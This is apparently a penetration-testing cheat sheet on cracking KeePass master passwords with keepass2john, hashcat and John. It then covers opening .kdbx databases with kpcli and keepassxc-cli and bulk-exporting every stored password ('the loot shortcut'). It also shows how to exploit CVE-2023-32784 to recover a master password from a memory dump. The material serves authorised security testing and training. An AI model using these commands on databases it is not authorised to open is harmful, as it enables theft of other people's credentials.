---
title: "kpcli & keepassxc-cli"
description: "Open KeePass databases after recovering the required password/keyfile, inspect selected entries, and handle KDBX4 compatibility without assuming one cracking mode."
category: password-attacks
tags: [password-attacks, keepass, loot, credential-access, cracking]
tools: [kpcli, keepassxc-cli, John the Ripper, hashcat]
difficulty: intermediate
updated: "2026-10-11"
references:
- name: "kpcli"
url: "https://kpcli.sourceforge.net/"
relation: link-only
note: "Options and interactive commands from the kpcli --help on this host."
- name: "KeePassXC CLI docs"
url: "https://keepassxc.org/docs/"
relation: link-only
note: "Subcommand list from keepassxc-cli --help (installed build)."
---
# kpcli & keepassxc-cli
A `.kdbx` on a share is a credential goldmine — it usually holds *other* users' passwords. Three stages: **crack the master**, **open the DB**, **dump entries**.
## 1. Crack the master password
```bash
keepass2john Database.kdbx > db.hash
# if a .key keyfile is also required to open it:
keepass2john -k Database.key Database.kdbx > db.hash
# strip the "Database:" label column for hashcat, keep it for john
hashcat -m 13400 db.hash /usr/share/wordlists/rockyou.txt --username
# or
john db.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --show db.hash
```
`-m 13400` covers supported KeePass 1/2 AES/Twofish records; it is not a universal KDBX4/Argon2 mode. See [the *2john extractors](/sheets/password-attacks/john-extractors) for the file→hash step.
## 2 + 3. Open and dump — kpcli (Perl, interactive)
```bash
kpcli --readonly --kdb Database.kdbx # prompts for master
kpcli --readonly --kdb Database.kdbx --key Database.key # with keyfile
```
Inside the `kpcli:/>` prompt:
```text
ls # list groups
cd "/General/Network" # descend into a group
show -f 0 # show entry 0 WITH the password in cleartext (-f = show full)
show -a 0 # include timestamps and icon index
find . # search every entry
attach 0 # open the attachment-management menu for entry 0
```
Non-interactive (scriptable) — run a command and exit:
```bash
kpcli --readonly --kdb Database.kdbx --command "find ." --command "show -f 0"
kpcli --readonly --kdb Database.kdbx --pwfile master.txt --command "find ." # master from a file
```
| Option | Meaning |
|---|---|
| `--kdb FILE` | the database |
| `--key FILE` | keyfile (when the DB needs one as well/instead) |
| `--pwfile FILE` | read master from a file (non-interactive) |
| `--command "…"` | run a command then exit; repeatable |
| `--readonly` | never write back |
| `--kpxcexe PATH` | path to a KeePassXC binary, used to import **KDBX4** files kpcli can't read natively |
> [!warning] kpcli and KDBX4
> kpcli natively handles KDBX ≤3.1. For **KDBX4** (Argon2) it shells out to a KeePassXC binary via `--kpxcexe`; if that isn't available, use `keepassxc-cli` below instead.
## 2 + 3 alt — keepassxc-cli (handles KDBX4)
Modern, handles Argon2/KDBX4. Master comes from the prompt or stdin.
```bash
# list every entry (recursive)
keepassxc-cli ls -R Database.kdbx
# show one entry; -s reveals the password field
keepassxc-cli show -s Database.kdbx "/General/Network/Admin"
# search
keepassxc-cli search Database.kdbx "admin"
# BULK DUMP everything to CSV (fastest way to loot the whole DB)
umask 077
keepassxc-cli export -f csv Database.kdbx > evidence-keepass.csv
# with a keyfile instead of / alongside the master
keepassxc-cli open -k Database.key Database.kdbx
```
| Subcommand | Use |
|---|---|
| `ls -R` | list all entries/groups |
| `show -s` | show entry, `-s` unmasks the password |
| `search` | find entries by term |
| `export -f csv` | dump the **entire** DB (all passwords) to CSV/XML — the loot shortcut |
| `clip` | copy a field to clipboard (not useful headless) |
| `-k FILE` | keyfile |
> [!tip] Pipe the master in
> For non-interactive commands, provide the password through stdin from a protected file, for example `keepassxc-cli export -f csv db.kdbx < master.txt > entries.csv`. Prefer the normal prompt for manual work, and restrict the output file permissions before export.
## Keyfile-only / no master
If the DB opens with only a **keyfile** (no master password), you don't crack anything — use `keepassxc-cli ls --no-password -k Database.key Database.kdbx`; `--no-password` disables the password component rather than supplying an empty password. Hunt the keyfile near the DB (`.key`, `.keyx`, sometimes a random file referenced in a config or script).
## CVE-2023-32784 — recover master from memory
If you have a **memory dump** of a vulnerable KeePass 2.x (< 2.54) process, residual data may allow partial password recovery; success depends on what the dump contains:
```bash
git clone https://github.com/vdohney/keepass-password-dumper
dotnet run --project keepass-password-dumper KeePass.DMP
# Output contains partial candidates; the first character still needs recovery/validation
```
> [!warning]
> - `export` writes **plaintext** passwords to disk — clean up the CSV afterward on shared boxes.
> - **KDBX4/Argon2:** recent John jumbo can extract these formats, while older builds may reject them. Check the cracker's matching format; do not force mode 13400.
## Prefer a selected entry before bulk export
```bash
umask 077
keepassxc-cli ls -R Database.kdbx
keepassxc-cli show -s -a UserName -a Password Database.kdbx 'General/Network/Admin'
# When a keyfile is required alongside the password:
keepassxc-cli show -s -k Database.key Database.kdbx 'General/Network/Admin'
```
Use the exact entry path printed by `ls`. Database format version, encryption cipher and KDF are distinct settings; `.kdbx` does not tell you whether an old extractor can process the file. If kpcli cannot import a KDBX4 database, use KeePassXC directly rather than repeatedly retrying the same file.
**Success:** the database opens and the relevant entry is readable. This does not prove that the stored credential is current or valid on any host. Validate it against one identified service and record that result separately.
## See Also
- **[John *2john extractors](/sheets/password-attacks/john-extractors)** — the `keepass2john` step in context.
- **[hashcat](/sheets/password-attacks/hashcat)** / **[John the Ripper](/sheets/password-attacks/john-the-ripper)** — cracking the master hash.
- **[Windows Credential Flag Hunting](/sheets/password-attacks/windows-credential-flag-hunting)** — where `.kdbx` files hide.
## Sources
- https://kpcli.sourceforge.net/
- https://keepassxc.org/docs/
- https://github.com/vdohney/keepass-password-dumper